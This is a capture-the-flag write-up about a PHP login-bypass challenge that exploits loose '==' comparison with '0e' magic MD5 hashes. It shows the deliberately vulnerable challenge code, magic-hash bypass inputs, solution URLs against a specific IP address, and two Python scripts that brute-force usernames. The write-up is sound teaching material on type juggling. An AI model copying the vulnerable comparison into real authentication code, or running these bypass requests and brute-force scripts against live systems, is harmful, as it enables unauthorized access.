Ho Ho Ho, Xmas challenge ended. This challenge was all about of bypassing login authentication. Obviously, it was funny challenge!! And the obvious reason was password md5 hash. A footnote was there in source code.
<!-- We are so generous, see we provided you password hash to login :) 0e100132199235687421930375421091 if(0e100132199235687421930375421091 == md5($_GET['pass'])) { // Simple PHP CODE Logic } ?> -->
Garage4Hackers Xmas Challenge is developed into PHP and it available to download for learning purpose.
Just a quick note: If you want to join G4H CTF team, then you PM me and checkout our last month Ranchoddas event
And I’m back to business, The main purpose of the CTF is to understand the PHP equal to (==) operator for comparing and even you can study strcmp function. If a developer uses equal to (==) operator without measuring the risk, then it can be profitable for attacker. However, attack can be carried in rare cases only. we’ve received some expected result and some unexpected results but at the end both are results
There was 4k + unique Hits on the CTF page in 24 Hrs, only few submission we’ve valid received.
Following is list of ninja, who solved the challenge in the time.
jinmo123 - Good Solution but not expected tlk ( https://twitter.com/tlk___ ) - Nice Solution, but Not expected stypr (https://stypr.com) - W00tt , expected solution Ajin Abraham - Nice Solution, but Not expected sagar popat - Nice Solution, but Not expected Sharath Unni - W00tt , expected solution
There was three way to solve this CTF and expected way to solve the challenge is to bypass authentication by using PHP equal to (==) operator. Brute forcing username is second easy way to solve the challenge and last way was monkey testing. ( Just kidding )
PHP CTF Code:
<?php error_reporting(0); $a = htmlentities($_GET['username']); $c = htmlentities($_GET['password']); $b = md5($c); if (!empty($a) AND !empty($b)) { // empty function made this CTF more easy if ("0e100132199235687421930375421091" == $b) { // vulnerable line if ($b ==="0e100132199235687421930375421091") { // To Avoiding some bugs and change behavior of CTF if ("133E-1337" === $a) {// To Avoiding some bugs and change behavior of CTF print "Flag : Garage4H4x0rFlagPhpFlag1337"; }else{ print "umm!! nice try dude :), oops! you don't know username"; } }else{ if ($a ==="0e100132199235687421930375421091") {// To Avoiding some bugs and change behavior of CTF print "umm!! nice try dude :), oops! "; }else{ if ("133E-1337" == $a) { // vulnerable line print "Flag : Garage4H4x0rFlagPhpFlag1337"; }else{ Print "Wrong Username"; } } } }else{ Print "wrong Password"; } } ?>
Here is some story about PHP operator and expected Behavior of PHP equal to operator.
Input | Output ------------------------- "0" == "0" | True "1" == "0" | False -------------------------
Unexpected Behavior of PHP equal to operator.
Input | Output ------------------------- "0e1" == "0" | True -------------------------
In detailed :
PHP consider it as scientific notation 0e1 = 0 * 10 ^ 1 and ANS is 0
<?php var_dump("0e1" == 0); ?>
Finding entry points Branch analysis from position: 0 Return found filename: /in/Pvj4s function name: (null) number of ops: 4 compiled vars: none line # * op fetch ext return operands --------------------------------------------------------------------------------- 2 0 > IS_EQUAL ~0 '0e1', 0 1 SEND_VAL ~0 2 DO_FCALL 1 'var_dump' 3 > RETURN 1
Here is the fun start, this is just plain text comparison and check out the following MD5 Hash, and most of developer use it as passwords.
var_dump(0e100132199235687421930375421091 == md5(urldecode('%02%a27%84'))); bool(true) // w00t :)
Another string :
'\x98-\xde\x1f'
// Submission by Beched (@ahack_ru)
try here : http://3v4l.org/NK5hp
In our check was too simple to bypass, because we haven’t put quotes around the hash. It made it to be integer, which causes expression to be true with any hash, which does not start with [1-9].
Here is bypass if we use quote around hash:
php > var_dump('0e100132199235687421930375421091'==md5("\x0e\xd7\xb6\xea")); // Submission by Beched (@ahack_ru) bool(true)
Try here : http://3v4l.org/M9dpY
Here is another simple example, which can be found on the internet.
http://3v4l.org/2vrMi
While testing this CTF there is MD5 collision found by Sharath Unni
0e100132199235687421930375421091 (Found in HTML source code ) 0e104142395260374396839196939683 (MD5 collision )
Both these hashes have the same plaintext equivalent: 26177715789 , you can decrypt MD5 here
http://www.md5online.org/
.
This was all about PHP Equal operator, now what is solution of this CTF.
Here is solution and you find many more ways:
http://162.208.48.16/?username=0e57640477961333848717747276704&password=BRTKUJZ&submit=Login&debug=true http://162.208.48.16/?username=0e1&password=NOOPCJF&submit=Login&debug=true http://162.208.48.16/?username=0e2&password=26177715789&submit=Login&debug=true
Submission by jinmo123
http://162.208.48.16/?username=000&password=240610708&submit=Login#
Submission by tlk ( https://twitter.com/tlk___ )
Brute Force Script:
import requests s = requests.session() for i in range(255): r = s.get("http://162.208.48.16/?username="+chr(i)+"&password=QNKCDZO&submit=Login") print len(r.content), chr(i), i, "Wrong Username" in r.content We can see that only #, & and 0 not contains "Wrong Username". let's try to prepend '0' : r = s.get("http://162.208.48.16/?username=0"+chr(i)+"&password=QNKCDZO&submit=Login")
http://162.208.48.16/?username=0.0&password=QNKCDZO&submit=Login
Two Submission by stypr (https://stypr.com)
http://162.208.48.16/?username=0e57640477961333848717747276704&password=BRTKUJZ&submit=Login&debug=true http://162.208.48.16/?username=0x00&password=BRTKUJZ&submit=Login&debug=true
Submission by Ajin Abraham
import urllib2 with open("10k most common.txt","r") as f: url='http://162.208.48.16/?username=[X]&password=26177715789' no=0 for line in f: turl=url.replace("[X]",line).replace("\n","").replace("\r","") response = urllib2.urlopen(turl) html = response.read() dat=html[:50] no+=1 log= str(no)+" Username: "+ line +"Response: "+ dat if ("Wrong" in log): print no else: print log response.close()
URL:http://162.208.48.16/?username=-0&password=26177715789
Submission by Sagar Popat
http://162.208.48.16/?username=00&password=26177715789&submit=Login
Submission by Sharath Unni
http://162.208.48.16/?username=0e12323&password=26177715789&submit=Login
Thats all for today Thank you for reading .